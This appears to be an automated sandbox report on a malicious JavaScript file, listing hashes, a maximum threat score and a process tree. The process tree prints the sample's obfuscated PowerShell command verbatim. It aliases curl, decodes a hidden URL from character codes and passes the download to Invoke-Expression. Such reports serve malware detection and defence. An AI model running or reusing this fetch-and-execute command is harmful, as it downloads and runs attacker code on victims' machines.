Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
-
submitted
21/12/2024, 14:40
General
-
Target
56b1e069cdb86c6b58a3fff01d2275dbe47a7f7fdac49cab316c764e0484ef4e.js
-
Size
235KB
-
MD5
1ecb2fb76ca7c3ab389b7effa32e25d4
-
SHA1
5439f8a5a5e2cd5ef88147c6f1c8e118b4894fef
-
SHA256
56b1e069cdb86c6b58a3fff01d2275dbe47a7f7fdac49cab316c764e0484ef4e
-
SHA512
b44dc650f70924408c844822ca2d684f651d622b0c17dfa305540abfbfc3c0e5d340092ee56a5178936d3523a3a8e5aa7a9904ac83d1ca73404ceb8062895850
-
SSDEEP
1536:nwFI/TEEj9J6EhsyWUs0G2kvjDFzq7cgWkJQ5J6EhsyWUs0G2kvjDFpcgWkJQOcw:nUJiLJrFRJBJj
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\56b1e069cdb86c6b58a3fff01d2275dbe47a7f7fdac49cab316c764e0484ef4e.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $njaephrwzisbxd='ur' ;new-alias printout c$($njaephrwzisbxd)l;$ofkilxrqb=(7911,7922,7930,7914,7916,7911,7931,7930,7935,7868,7930,7864,7911,7859,7929,7924,7925,7860,7862,7859,7925,7917,7925,7876,7928,7874,7922,7918,7923,7929,7928,7863,7862);$tlgdujvwifmbq=('bronx','get-cmdlet');$hnfzpxa=$ofkilxrqb;foreach($atrqnbc in $hnfzpxa){$cqokjtn=$atrqnbc;$vnyecsa=$vnyecsa+[char]($cqokjtn-7813);$utdaknglzirp=$vnyecsa; $touqpnzxmihdsa=$utdaknglzirp};$rozwavceykh[2]=$touqpnzxmihdsa;$fvpshzwmctarnq='rl';$asehxzjnibl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $touqpnzxmihdsa)1⤵
- Process spawned unexpected child process